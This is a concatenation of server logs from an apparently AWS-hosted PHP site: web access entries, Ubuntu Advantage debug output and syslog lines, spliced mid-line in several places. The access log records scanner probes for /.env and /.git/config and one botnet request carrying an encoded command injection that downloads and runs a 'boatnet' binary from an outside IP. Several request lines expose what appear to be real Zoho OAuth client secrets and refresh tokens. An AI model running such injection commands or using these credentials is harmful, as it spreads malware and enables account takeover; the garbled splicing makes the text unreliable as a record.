n the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com" 65.49.1.80 - - [24/Jun/2025:03:07:18 -0600] "GET /geoserver/web/ HTTP/1.1" 404 3541 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" 65.49.1.80 - - [24/Jun/2025:03:09:46 -0600] "GET /.git/config HTTP/1.1" 404 3541 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:124.0) Gecko/20100101 Firefox/124.0" 178.159.34.4 - - [24/Jun/2025:03:10:47 -0600] "GET /.env HTTP/1.1" 404 4230 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.140 Safari/537.36" 178.159.34.4 - - [24/Jun/2025:03:10:48 -0600] "POST / HTTP/1.1" 200 7259 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.140 Safari/537.36" 136.143.177.61 - - [24/Jun/2025:03:10:48 -0600] "GET /PCI-test/trademarks.csv HTTP/1.1" 200 34966378 "-" "Zoho_Analytics" 217.110.52.106 - - [24/Jun/2025:03:18:24 -0600] "GET /imagenesAptusLegal/arochi/LogosArochi/MAR-128258.png HTTP/1.1" 200 126097 "https://www.patorg.de/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36" 1.202.15.102 - - [24/Jun/2025:03:20:20 -0600] "GET /imagenesAptusLegal/arochi/LogosArochi/MAR-96153.gif HTTP/1.1" 200 23441 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.16 Safari/537.36" 71.6.199.87 - - [24/Jun/2025:03:27:05 -0600] "GET / HTTP/1.1" 200 3421 "-" "Mozilla/5.0 zgrab/0.x" 136.143.176.64 - - [24/Jun/2025:03:31:18 -0600] "GET /PCI-test/fetch_trademark_csv.php HTTP/1.1" 200 4032 "-" "Apache-HttpClient/4.5.13 (Java/17.0.15)" 43.156.109.53 - - [24/Jun/2025:03:37:43 -0600] "GET / HTTP/1.1" 200 3440 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 34.169.226.69 - - [24/Jun/2025:03:40:20 -0600] "HEAD /wordpresle: /etc/os-release 2025-06-24 03:23:04,260 - system.py:(355) [DEBUG]: Reading file: /proc/version_signature 2025-06-24 03:23:04,280 - system.py:(355) [DEBUG]: Reading file: /var/lib/ubuntu-advantage/private/machine-token.json 2025-06-24 03:23:04,281 - files.py:(56) [DEBUG]: File does not exist: /var/lib/ubuntu-advantage/private/machine-token.json 2025-06-24 03:23:04,283 - system.py:(355) [DEBUG]: Reading file: /var/lib/ubuntu-advantage/private/machine-token.json 2025-06-24 03:23:04,283 - files.py:(56) [DEBUG]: File does not exist: /var/lib/ubuntu-advantage/private/machine-token.json 2025-06-25 01:38:44,576 - system.py:(355) [DEBUG]: Reading file: /etc/os-release 2025-06-25 01:38:44,576 - system.py:(355) [DEBUG]: Reading file: /proc/version_signature 2025-06-25 01:38:44,600 - system.py:(355) [DEBUG]: Reading file: /var/lib/ubuntu-advantage/private/machine-token.json 2025-06-25 01:38:44,601 - files.py:(56) [DEBUG]: File does not exist: /var/lib/ubuntu-advantage/private/machine-token.json 2025-06-25 01:38:44,603 - system.py:(355) [DEBUG]: Reading file: /var/lib/ubuntu-advantage/private/machine-token.json 2025-06-25 01:38:44,603 - files.py:(56) [DEBUG]: File does not exist: /var/lib/ubuntu-advantage/private/machine-token.json 2025-06-26 13:28:50,616 - system.py:(355) [DEBUG]: Reading file: /etc/os-release 2025-06-26 13:28:50,618 - system.py:(355) [DEBUG]: Reading file: /proc/version_signature 2025-06-26 13:28:50,625 - system.py:(355) [DEBUG]: Reading file: /var/lib/ubuntu-advantage/private/machine-token.json 2025-06-26 13:28:50,625 - files.py:(56) [DEBUG]: File does not exist: /var/lib/ubuntu-advantage/private/machine-token.json 2025-06-26 13:28:50,638 - system.py:(355) [DEBUG]: Reading file: /var/lib/ubuntu-advantage/private/machine-token.json 2025-06-26 13:28:50,638 - files.py:(56) [DEBUG]: File does not exist: /var/lib/ubuntu-advantage/private/machine-token.json 2025-06-26 13:28:50,640 - system.py:(355) [DEBUG]: Reading file: /var/lib/ubuntu-advantage/private/machine-token.json 2025-06-26 13:28:50,640 - files.py:(56) [DEBUG]: File does not exist: /var/lib/ubuntu-advantage/private/machine-token.json 2025-06-26 13:28:53,195 - system.py:(355) [DEBUG]: Reading file: /run/ubuntu-advantage//aptnews.json 2025-06-26 13:28:53,195 - apt_news.py:(183) [DEBUG]: something went wrong while processing apt_news: FileNotFoundError(2, 'No such file or directory') 2025-06-27 14:34:50,597 - system.py:(355) [DEBUG]: Reading file: /etc/os-release 2025-06-27 14:34:50,598 - system.py:(355) [DEBUG]: Reading file: /proc/version_signature 2025-06-27 14:34:50,601 - system.py:(355) [DEBUG]: Reading file: /var/lib/ubuntu-advantage/private/machine-token.json 2025-06-27 14:34:50,601 - files.py:(56) [DEBUG]: File does not exist: /var/lib/ubuntu-advantage/private/machine-token.json 2025-06-27 14:34:50,617 - system.py:(355) [DEBUG]: Reading file: /var/lib/ubuntu-advantage/private/machine-token.json 2025-06-27 14:34:50,617 - files.py:(56) [DEBUG]: File does not exist: /var/lib/ubuntu-advantage/private/machine-token.json 2025-06-27 14:34:50,620 - system.py:(355) [DEBUG]: Reading file: /var/lib/ubuntu-advantage/private/machine-token.json 2025-06-27 14:34:50,620 - files.py:(56) [DEBUG]: File does not exist: /var/lib/ubuntu-advantage/private/machine-token.json 2025-06-27 14:34:53,506 - system.py:(355) [DEBUG]: Reading file: /run/ubuntu-advantage//aptnews.json 2025-06-27 14:34:53,507 - apt_news.py:(183) [DEBUG]: something went wrong while processing apt_news: FileNotFoundError(2, 'No such file or directory') 2025-06-28 06:12:35,669 - system.py:(355) [DEBUG]: Reading file: /etc/os-release 2025-06-28 06:12:35,670 - system.py:(355) [DEBUG]: Reading file: /proc/version_signature 2025-06-28 06:12:35,690 - system.py:(355) [DEBUG]: Reading file: /var/lib/ubuntu-advantage/private/machine-token.json 2025-06-28 06:12:35,691 - files.py:(56) [DEBUG]: File does not exist: /var/lib/ubuntu-advantage/private/machine-token.json 2025-06-28 06:12:35,693 - system.py:(355) [DEBUG]: Reading file: /var/lib/ubuntu-advantage/private/machine-token.json 2025-06-28 06:12:35,693 - files.pys HTTP/1.1" 404 140 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 34.169.226.69 - - [24/Jun/2025:03:40:20 -0600] "HEAD / HTTP/1.1" 200 255 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 34.169.226.69 - - [24/Jun/2025:03:40:20 -0600] "HEAD /wp HTTP/1.1" 404 140 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 34.169.226.69 - - [24/Jun/2025:03:40:20 -0600] "HEAD /bc HTTP/1.1" 404 140 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 34.169.226.69 - - [24/Jun/2025:03:40:20 -0600] "HEAD /bk HTTP/1.1" 404 140 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 34.169.226.69 - - [24/Jun/2025:03:40:21 -0600] "HEAD /backup HTTP/1.1" 404 140 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 34.169.226.69 - - [24/Jun/2025:03:40:21 -0600] "HEAD /old HTTP/1.1" 404 140 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 34.169.226.69 - - [24/Jun/2025:03:40:21 -0600] "HEAD /new HTTP/1.1" 404 140 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 34.169.226.69 - - [24/Jun/2025:03:40:21 -0600] "HEAD /main HTTP/1.1" 404 140 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 34.169.226.69 - - [24/Jun/2025:03:40:21 -0600] "HEAD /home HTTP/1.1" 404 140 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 34.238.83.64 - - [24/Jun/2025:03:40:46 -0600] "GET / HTTP/1.1" 200 7175 "-" "Mozilla/5.0 (Linux; U; Android 4.1; en-us; sdk Build/MR1) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.1 Safari/534.30" 157.230.225.34 - - [24/Jun/2025:03:41:57 -0600] "GET / HTTP/1.1" 200 11173 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0" 185.218.84.40 - - [24/Jun/2025:03:44:42 -0600] "GET / HTTP/1.1" 200 11173 "-" "-" 65.109.20.216 - - [24/Jun/2025:03:49:24 -0600] "GET /robots.txt HTTP/1.1" 404 4221 "-" "Mozilla/5.0 (compatible; AwarioBot/1.0; +https://awario.com/bots.html)" 65.109.20.216 - - [24/Jun/2025:03:49:24 -0600] "GET / HTTP/1.1" 200 7248 "-" "Mozilla/5.0 (compatible; AwarioBot/1.0; +https://awario.com/bots.html)" 35.84.185.98 - - [24/Jun/2025:03:57:46 -0600] "GET / HTTP/1.1" 200 14978 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36" 3.130.96.91 - - [24/Jun/2025:04:03:46 -0600] "GET / HTTP/1.1" 200 3421 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36" 3.130.96.91 - - [24/Jun/2025:04:04:40 -0600] "GET / HTTP/1.1" 200 3421 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36" 46.19.141.90 - - [24/Jun/2025:04:04:57 -0600] "CONNECT google.com:443 HTTP/1.1" 405 501 "-" "Go-http-client/1.1" 3.130.96.91 - - [24/Jun/2025:04:06:04 -0600] "\x16\x03\x01" 400 488 "-" "-" 3.130.96.91 - - [24/Jun/2025:04:06:11 -0600] "\x16\x03\x01" 400 488 "-" "-" 3.130.96.91 - - [24/Jun/2025:04:06:16 -0600] "SSH-2.0-Go" 400 488 "-" "-" 3.130.96.91 - - [24/Jun/2025:04:09:14 -0600] "\n" 400 488 "-" "-" 136.143.176.60 - - [24/Jun/2025:04:10:55 -0600] "GET /PCI-test/trademarks.csv HTTP/1.1" 200 34966378 "-" "Zoho_Analytics" 91.231.89.212 - - [24/Jun/2025:04:11:49 -0600] "\x16\x03\x03\x01\xa5\x01" 400 488 "-" "-" 91.231.89.86 - - [24/Jun/2025:04:11:54 -0600] "GET / HTTP/1.1" 200 11192 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0" 136.143.176.228 - - [24/Jun/2025:04:18:33 -0600] "POST /aptusCFDIRF/wsOAuthToken.php?pRefToken=1000.f243e8b0e1d60f06359d518ba8cd5092.7ptus&pAppToken=ZCreator HTTP/1.1" 200 846 "-" "axios/0.27.2" 136.143.176.228 - - [24/Jun/2025:04:21:16 -0600] "POST /aptusCFDIRF/wsOAuthToken.php?pRefToken=1000.f243e8b0e1d60f06359d518ba8cd5092.75f46db77bcdd0783ee880c8b99d7d03&pClientId=1000.D141CGEI579SBH0VJRT9NEZ3CXSGMR&pClientSec=15ab84f3ad48a5732e5892c3deeba65008baf3dc2c&pRedUri=https://www.google.com&pGrantType=refresh_token&pAuthUrl=https://accounts.zoho.com/oauth/v2/token&pAppOwner=arochiylindneresp.aptus&pAppToken=ZCRM HTTP/1.1" 200 846 "-" "axios/0.27.2" 136.143.176.228 - - [24/Jun/2025:04:21:17 -0600] "POST /aptusCFDIRF/wsOAuthToken.php?pRefToken=1000.1cc328a134cfcd70f799e63138bc6620.6e2e467dddb4b88b60ff47d416263669&pClientId=1000.PT0C8ZQ03PKI2IXKUU005YMZE7KOEF&pClientSec=4df144101b30f23a3243dc961fbb16fd2bc69ec0e8&pRedUri=https://www.google.com&pGrantType=refresh_token&pAuthUrl=https://accounts.zoho.com/oauth/v2/token&pAppOwner=arochiylindner.aptus&pAppToken=ZBooks HTTP/1.1" 200 846 "-" "axios/0.27.2" 136.143.176.228 - - [24/Jun/2025:04:21:17 -0600] "POST /aptusCFDIRF/wsOAuthToken.php?pRefToken=1000.b76ba3d173e5e589f36ec43f98437e34.51d4b0a63147e784baa3aa8fbafadf68&pClientId=1000.VQGFAF0SXKZ3LWWAQFMPALWL6XCA8W&pClientSec=48a54eb048cd944e3db27372c2d4853526a28955b8&pRedUri=https://www.google.com&pGrantType=refresh_token&pAuthUrl=https://accounts.zoho.com/oauth/v2/token&pAppOwner=arochiylindner.aptus&pAppToken=ZCreator HTTP/1.1" 200 846 "-" "axios/0.27.2" 136.143.176.228 - - [24/Jun/2025:04:21:26 -0600] "POST /aptusCFDIRF/wsOAuthToken.php?pRefToken=1000.f243e8b0e1d60f06359d518ba8cd5092.75f46db77bcdd0783ee880c8b99d7d03&pClientId=1000.D141CGEI579SBH0VJRT9NEZ3CXSGMR&pClientSec=15ab84f3ad48a5732e5892c3deeba65008baf3dc2c&pRedUri=https://www.google.com&pGrantType=refresh_token&pAuthUrl=https://accounts.zoho.com/oauth/v2/token&pAppOwner=arochiylindneresp.aptus&pAppToken=ZCRM HTTP/1.1" 200 846 "-" "axios/0.27.2" 136.143.176.228 - - [24/Jun/2025:04:21:26 -0600] "POST /aptusCFDIRF/wsOAuthToken.php?pRefToken=1000.1cc328a134cfcd70f799e63138bc6620.6e2e467dddb4b88b60ff47d416263669&pClientId=1000.PT0C8ZQ03PKI2IXKUU005YMZE7KOEF&pClientSec=4df144101b30f23a3243dc961fbb16fd2bc69ec0e8&pRedUri=https://www.google.com&pGrantType=refresh_token&pAuthUrl=https://accounts.zoho.com/oauth/v2/token&pAppOwner=arochiylindner.aptus&pAppToken=ZBooks HTTP/1.1" 200 846 "-" "axios/0.27.2" 136.143.176.228 - - [24/Jun/2025:04:21:27 -0600] "POST /aptusCFDIRF/wsOAuthToken.php?pRefToken=1000.b76ba3d173e5e589f36ec43f98437e34.51d4b0a63147e784baa3aa8fbafadf68&pClientId=1000.VQGFAF0SXKZ3LWWAQFMPALWL6XCA8W&pClientSec=48a54eb048cd944e3db27372c2d4853526a28955b8&pRedUri=https://www.google.com&pGrantType=refresh_token&pAuthUrl=https://accounts.zoho.com/oauth/v2/token&pAppOwner=arochiylindner.aptus&pAppToken=ZCreator HTTP/1.1" 200 846 "-" "axios/0.27.2" 136.143.176.228 - - [24/Jun/2025:04:21:29 -0600] "POST /aptusCFDIRF/wsOAuthToken.php?pRefToken=1000.f243e8b0e1d60f06359d518ba8cd5092.75f46db77bcdd0783ee880c8b99d7d03&pClientId=1000.D141CGEI579SBH0VJRT9NEZ3CXSGMR&pClientSec=15ab84f3ad48a5732e5892c3deeba65008baf3dc2c&pRedUri=https://www.google.com&pGrantType=refresh_token&pAuthUrl=https://accounts.zoho.com/oauth/v2/token&pAppOwner=arochiylindneresp.aptus&pAppToken=ZCRM HTTP/1.1" 200 846 "-" "axios/0.27.2" 136.143.176.228 - - [24/Jun/2025:04:21:29 -0600] "POST /aptusCFDIRF/wsOAuthToken.php?pRefToken=1000.1cc328a134cfcd70f799e63138bc6620.6e2e467dddb4b88b60ff47d416263669&pClientId=1000.PT0C8ZQ03PKI2IXKUU005YMZE7KOEF&pClientSec=4df144101b30f23a3243dc961fbb16fd2bc69ec0e8&pRedUri=https://www.google.com&pGrantType=refresh_token&pAuthUrl=https://accounts.zoho.com/oauth/v2/token&pAppOwner=arochiylindner.aptus&pAppToken=ZBooks HTTP/1.1" 200 846 "-" "axios/0.27.2" 136.143.176.228 - - [24/Jun/2025:04:21:29 -0600] "POST /aptusCFDIRF/wsOAuthToken.php?pRefToken=1000.b76ba3d173e5e589f36ec43f98437e34.51d4b0a63147e784baa3aa8fbafadf68&pClientId=1000.VQGFAF0SXKZ3LWWAQFMPALWL6XCA8W&pClientSec=48a54eb048cd944e3db27372c2d4853526a28955b8&pRedUri=https://www.google.com&pGrantType=refresh_token&pAuthUrl=https://accounts.zoho.com/oauth/v2/token&pAppOwner=arochiylindner.aptus&pAppToken=ZCreator HTTP/1.1" 200 846 "-" "axios/0.27.2" 136.143.176.228 - - [24/Jun/2025:04:21:35 -0600] "POST /aptusCFDIRF/wsOAuthToken.php?pRefToken=1000.f243e8b0e1d60f06359d518ba8cd5092.75f46db77bcdd0783ee880c8b99d7d03&pClientId=1000.D141CGEI579SBH0VJRT9NEZ3CXSGMR&pClientSec=15ab84f3ad48a5732e5892c3deeba65008baf3dc2c&pRedUri=https://www.google.com&pGrantType=refresh_token&pAuthUrl=https://accounts.zoho.com/oauth/v2/token&pAppOwner=arochiylindneresp.aptus&pAppToken=ZCRM HTTP/1.1" 200 846 "-" "axios/0.27.2" 136.143.176.228 - - [24/Jun/2025:04:21:35 -0600] "POST /aptusCFDIRF/wsOAuthToken.php?pRefToken=1000.1cc328a134cfcd70f799e63138bc6620.6e2e467dddb4b88b60ff47d416263669&pClientId=1000.PT0C8ZQ03PKI2IXKUU005YMZE7KOEF&pClientSec=4df144101b30f23a3243dc961fbb16fd2bc69ec0e8&pRedUri=https://www.google.com&pGrantType=refresh_token&pAuthUrl=https://accounts.zoho.com/oauth/v2/token&pAppOwner=arochiylindner.aptus&pAppToken=ZBooks HTTP/1.1" 200 846 "-" "axios/0.27.2" 136.143.176.228 - - [24/Jun/2025:04:21:35 -0600] "POST /aptusCFDIRF/wsOAuthToken.php?pRefToken=1000.b76ba3d173e5e589f36ec43f98437e34.51d4b0a63147e784baa3aa8fbafadf68&pClientId=1000.VQGFAF0SXKZ3LWWAQFMPALWL6XCA8W&pClientSec=48a54eb048cd944e3db27372c2d4853526a28955b8&pRedUri=https://www.google.com&pGrantType=refresh_token&pAuthUrl=https://accounts.zoho.com/oauth/v2/token&pAppOwner=arochiylindner.aptus&pAppToken=ZCreator HTTP/1.1" 200 846 "-" "axios/0.27.2" 136.143.176.228 - - [24/Jun/2025:04:21:41 -0600] "POST /aptusCFDIRF/wsOAuthToken.php?pRefToken=1000.f243e8b0e1d60f06359d518ba8cd5092.75f46db77bcdd0783ee880c8b99d7d03&pClientId=1000.D141CGEI579SBH0VJRT9NEZ3CXSGMR&pClientSec=15ab84f3ad48a5732e5892c3deeba65008baf3dc2c&pRedUri=https://www.google.com&pGrantType=refresh_token&pAuthUrl=https://accounts.zoho.com/oauth/v2/token&pAppOwner=arochiylindneresp.aptus&pAppToken=ZCRM HTTP/1.1" 200 846 "-" "axios/0.27.2" 136.143.176.228 - - [24/Jun/2025:04:21:41 -0600] "POST /aptusCFDIRF/wsOAuthToken.php?pRefToken=1000.1cc328a134cfcd70f799e63138bc6620.6e2e467dddb4b88b60ff47d416263669&pClientId=1000.PT0C8ZQ03PKI2IXKUU005YMZE7KOEF&pClientSec=4df144101b30f23a3243dc961fbb16fd2bc69ec0e8&pRedUri=https://www.google.com&pGrantType=refresh_token&pAuthUrl=https://accounts.zoho.com/oauth/v2/token&pAppOwner=arochiylindner.aptus&pAppToken=ZBooks HTTP/1.1" 200 846 "-" "axios/0.27.2" 136.143.176.228 - - [24/Jun/2025:04:21:41 -0600] "POST /aptusCFDIRF/wsOAuthToken.php?pRefToken=1000.b76ba3d173e5e589f36ec43f98437e34.51d4b0a63147e784baa3aa8fbafadf68&pClientId=1000.VQGFAF0SXKZ3LWWAQFMPALWL6XCA8W&pClientSec=48a54eb048cd944e3db27372c2d4853526a28955b8&pRedUri=https://www.google.com&pGrantType=refresh_token&pAuthUrl=https://accounts.zoho.com/oauth/v2/token&pAppOwner=arochiylindner.aptus&pAppToken=ZCreator HTTP/1.1" 200 846 "-" "axios/0.27.2" 152.53.248.175 - - [24/Jun/2025:04:28:02 -0600] "CONNECT www.google.com:443 HTTP/1.1" 405 505 "-" "Go-http-client/1.1" 104.253.13.7 - - [24/Jun/2025:04:38:12 -0600] "GET /.env HTTP/1.1" 404 454 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.140 Safari/537.36" 104.253.13.7 - - [24/Jun/2025:04:38:13 -0600] "POST / HTTP/1.1" 200 3440 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.140 Safari/537.36" 43.157.158.178 - - [24/Jun/2025:04:44:02 -0600] "GET / HTTP/1.1" 200 3440 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 144.172.97.104 - - [24/Jun/2025:04:49:55 -0600] "POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20boatnet.arm7%3B%20wget%20http%3A%2F%2F160.187.246.32%2Fhiddenbin%2Fboatnet.arm7%3B%20chmod%20777%20%2A%3B%20.%2Fboatnet.arm7%20tbk HTTP/1.1" 404 491 "-" "Mozilla/5.0" 136.143.177.228 - - [24/Jun/2025:04:55:27 -0600] "POST /aptusCFDIRF/wsOAuthToken.php?pRefToken=1000.f243e8b0e1d60f06359d518ba8cd5092.75f46db77bcdd0783ee880c8b99d7d03&pClientId=1000.D141CGEI579SBH0VJRT9NEZ3CXSGMR&pClientSec=15ab8/usr/share/sendmail/sendmail && test -x /usr/lib/sm.bin/sendmail && /usr/share/sendmail/sendmail cron-msp) Jun 24 07:32:33 ip-172-31-29-215 amazon-ssm-agent.amazon-ssm-agent[1875640]: 2025-06-24 07:32:33.7965 WARN EC2RoleProvider Failed to connect to Systems Manager with instance profile role credentials. Err: retrieved credentials failed to report to ssm. Error: EC2RoleRequestError: no EC2 instance role found Jun 24 07:32:33 ip-172-31-29-215 amazon-ssm-agent.amazon-ssm-agent[1875640]: 2025-06-24 07:32:33.8291 ERROR EC2RoleProvider Failed to connect to Systems Manager with SSM role credentials. error calling RequestManagedInstanceRoleToken: AccessDeniedException: Systems Manager's instance management role is not configured for account: 227937466084 Jun 24 07:32:33 ip-172-31-29-215 amazon-ssm-agent.amazon-ssm-agent[1875640]: #011status code: 400, request id: f8959be5-96cb-4107-8a25-7ecfb68ccd12 Jun 24 07:39:01 ip-172-31-29-215 CRON[2602487]: (root) CMD ( [ -x /usr/lib/php/sessionclean ] && if [ ! -d /run/systemd/system ]; then /usr/lib/php/sessionclean; fi) Jun 24 07:39:19 ip-172-31-29-215 systemd[1]: Starting Clean php session files... Jun 24 07:39:19 ip-172-31-29-215 sessionclean[2602500]: Cannot load Xdebug - it was already loaded Jun 24 07:39:19 ip-172-31-29-215 sessionclean[2602500]: PHP Warning: PHP Startup: Unable to load dynamic library 'pdo_sqlsrv.so' (tried: /usr/lib/php/20190902/pdo_sqlsrv.so (/usr/lib/php/20190902/pdo_sqlsrv.so: undefined symbol: php_pdo_unregister_driver), /usr/lib/php/20190902/pdo_sqlsrv.so.so (/usr/lib/php/20190902/pdo_sqlsrv.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Jun 24 07:39:19 ip-172-31-29-215 sessionclean[2602500]: PHP Warning: Module 'gettext' already loaded in Unknown on line 0 Jun 24 07:39:19 ip-172-31-29-215 sessionclean[2602500]: PHP Warning: Module 'mbstring' already loaded in Unknown on line 0 Jun 24 07:39:19 ip-172-31-29-215 sessionclean[2602500]: PHP Warning: Module 'sqlsrv' already loaded in Unknown on line 0 Jun 24 07:39:20 ip-172-31-29-215 systemd[1]: phpsessionclean.service: Succeeded. Jun 24 07:39:20 ip-172-31-29-215 systemd[1]: Finished Clean php session files. Jun 24 07:40:01 ip-172-31-29-215 CRON[2602544]: (smmsp) CMD (test -x /etc/init.d/sendmail && test -x /usr/share/sendmail/sendmail && test -x /usr/lib/sm.bin/sendmail && /usr/share/sendmail/sendmail cron-msp) Jun 24 08:00:02 ip-172-31-29-215 CRON[2602574]: (smmsp) CMD (test -x /etc/init.d/sendmail && test -x /usr/share/sendmail/sendmail && test -x /usr/lib/sm.bin/sendmail && /usr/share/sendmail/sendmail cron-msp) Jun 24 08:01:08 ip-172-31-29-215 amazon-ssm-agent.amazon-ssm-agent[1875640]: 2025-06-24 08:01:08.8312 WARN EC2RoleProvider Failed to connect to Systems Manager with instance profile role credentials. Err: retrieved credentials failed to report to ssm. Error: EC2RoleRequestError: no EC2 instance role found Jun 24 08:01:08 ip-172-31-29-215 amazon-ssm-agent.amazon-ssm-agent[1875640]: 2025-06-24 08:01:08.8638 ERROR EC2RoleProvider Failed to connect to Systems Manager with SSM role credentials. error calling RequestManagedInstanceRoleToken: AccessDeniedException: Systems Manager's instance management role is not configured for account: 227937466084 Jun 24 08:01:08 ip-172-31-29-215 amazon-ssm-agent.amazon-ssm-agent[1875640]: #011status code: 400, request id: 824153f3-5b6f-48e1-b6f1-765a530d92ed Jun 24 08:09:01 ip-172-31-29-215 CRON[2602600]: (root) CMD ( [ -x /usr/lib/php/sessionclean ] && if [ ! -d /run/systemd/system ]; then /usr/lib/php/sessionclean; fi) Jun 24 08:09:11 ip-172-31-29-215 systemd[1]: Starting Clean php session files... Jun 24 08:09:11 ip-172-31-29-215 sessionclean[2602613]: Cannot load Xdebug - it was already loaded Jun 24 08:09:11 ip-172-31-29-215 sessionclean[2602613]: PHP Warning: PHP Startup: Unable to load dynamic library 'pdo_sqlsrv.so' (tried: /usr/lib/php/20190902/pdo_sqlsrv.so (/usr/lib/php/20190902/pdo_sqlsrv.so: undefined symbol: php_pdo_unregister_driver), /usr/lib/php/20190902/pdo_sqlsrv.so.so (/usr/lib/php/20190902/pdo_sqlsrv.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Jun 24 08:09:11 ip-172-31-29-215 sessionclean[2602613]: PHP Warning: Module 'gettext' already loaded in Unknown on line 0 Jun 24 08:09:11 ip-172-31-29-215 sessionclean[2602613]: PHP Warning: Module 'mbstring' already loaded in Unknown on line 0 Jun 24 08:09:11 ip-172-31-29-215 sessionclean[2602613]: PHP Warning: Module 'sqlsrv' already loaded in Unknown on line 0 Jun 24 08:09:11 ip-172-31-29-215 systemd[1]: phpsessionclean.service: Succeeded. Jun 24 08:09:11 ip-172-31-29-215 systemd[1]: Finished Clean php session files. Jun 24 08:17:01 ip-172-31-29-215 CRON[2602658]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly) Jun 24 08:20:01 ip-172-31-29-215 CRON[2602663]: (smmsp) CMD (test -x /etc/init.d/sendmail && test -x /usr/share/sendmail/sendmail && test -x /usr/lib/sm.bin/sendmail && /usr/share/sendmail/sendmail cron-msp) Jun 24 08:28:58 ip-172-31-29-215 amazon-ssm-agent.amazon-ssm-agent[1875640]: 2025-06-24 08:28:58.9477 WARN EC2RoleProvider Failed to connect to Systems Manager with instance profile role credentials. Err: retrieved credentials failed to report to ssm. Error: EC2RoleRequestError: no EC2 instance role found Jun 24 08:28:59 ip-172-31-29-215 amazon-ssm-agent.amazon-ssm-agent[1875640]: 2025-06-24 08:28:58.9864 ERROR EC2RoleProvider Failed to connect to Systems Manager with SSM role credentials. error calling RequestManagedInstanceRoleToken: AccessDeniedException: Systems Manager's instance management role is not configured for account: 227937466084 Jun 24 08:28:59 ip-172-31-29-215 amazon-ssm-agent.amazon-ssm-agent[1875640]: #011status code: 400, request id: e233d2f9-6215-4c92-a6b7-c32cf66d4e9b Jun 24 08:39:01 ip-172-31-29-215 CRON[2602708]: (root) CMD ( [ -x /usr/lib/php/sessionclean ] && if [ ! -d /run/systemd/system ]; then /usr/lib/php/sessionclean; fi) Jun 24 08:39:19 ip-172-31-29-215 systemd[1]: Starting Clean php session files... Jun 24 08:39:19 ip-172-31-29-215 sessionclean[2602721]: Cannot load Xdebug - it was already loaded Jun 24 08:39:19 ip-172-31-29-215 sessionclean[2602721]: PHP Warning: PHP Startup: Unable to load dynamic library 'pdo_sqlsrv.so' (tried: /usr/lib/php/20190902/pdo_sqlsrv.so (/usr/lib/php/20190902/pdo_sqlsrv.so: undefined symbol: php_pdo_unregister_driver), /usr/lib/php/20190902/pdo_sqlsrv.so.so (/usr/lib/php/20190902/pdo_sqlsrv.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Jun 24 08:39:19 ip-172-31-29-215 sessionclean[2602721]: PHP Warning: Module 'gettext' already loaded in Unknown on line 0 Jun 24 08:39:19 ip-172-31-29-215 sessionclean[2602721]: PHP Warning: Module 'mbstring' already loaded in Unknown on line 0 